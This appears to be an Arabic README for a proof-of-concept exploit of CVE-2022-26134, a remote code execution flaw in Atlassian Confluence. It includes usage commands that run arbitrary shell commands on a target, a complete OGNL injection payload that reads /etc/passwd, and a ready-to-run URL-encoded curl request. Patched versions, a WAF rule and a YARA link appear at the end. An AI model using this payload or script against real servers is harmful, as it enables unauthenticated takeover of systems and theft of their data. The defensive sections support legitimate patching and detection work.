CVE-2022-26134 – ثغرة حقن OGNL.

سكريبت إثبات المفهوم الذي يستغل ثغرة تنفيذ الأوامر عن بُعد التي تؤثر على منتجات Atlassian Confluence 7.18 والإصدارات الأدنى. تسمح ثغرة حقن OGNL لمستخدم غير مصادق بتنفيذ أكواد عشوائية على خادم Confluence أو مثيل Data Center.

الإصدارات المتأثرة

جميع الإصدارات المدعومة من Confluence Server و Data Center متأثرة.
إصدارات Confluence Server و Data Center بعد 1.3.0 وقبل 7.18.1 متأثرة.
حصلت الثغرة على درجة CVSS تبلغ 10 من 10 من حيث الخطورة.

التبعيات:

Python 3.3+
يمكن تلبية التبعيات عبر الأمر pip install -r requirements.txt

كيفية الاستخدام:

استنساخ المستودع

git clone https://gitlab.com/Naqwada/cve-2022-26134
cd CVE-2022-26134

ثم يمكنك تشغيل الأداة مع الأمر الذي تختاره كما يلي:

python3 cve-2022-26134.py https://target.com CMD
python3 cve-2022-26134.py https://target.com id
python3 cve-2022-26134.py https://target.com "ps aux"

فيديو إثبات المفهوم

Script PoC CVE-2022-26134

الحمولة

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

مثال باستخدام أمر CURL:

curl --head -k "https://YOUR_TARGET.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D"

بعدها، ستظهر نتيجة الأمر في المعامل X-Cmd-Response في رأس الاستجابة.

إرشادات التخفيف من المورّدين

اتبع التوصيات الرسمية من Atlassian:
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

الإصدارات المصححة

أصدرت Atlassian الإصدارات 7.4.17 و 7.13.7 و 7.14.3 و 7.15.2 و 7.16.4 و 7.17.4 و 7.18.1 التي تحتوي على تصحيح لهذه المشكلة.

قدرات الكشف

تؤثر هذه الثغرة على جميع المثيلات المستضافة ذاتيًا. إذا كنت تستخدم WAF فيمكنك حجب عناوين URL التي تحتوي على ${ في داخلها.

YARA (بواسطة Volexity): https://github.com/volexity/threat-intel/blob/main/2022/2022-06-02%20Active%20Exploitation%20Of%20Confluence%200-day/indicators/yara.yar

ملاحظة

لأغراض تعليمية فقط.

صورة ميم CVE-2022-26134

CVE-2022-26134

الأكثر شعبية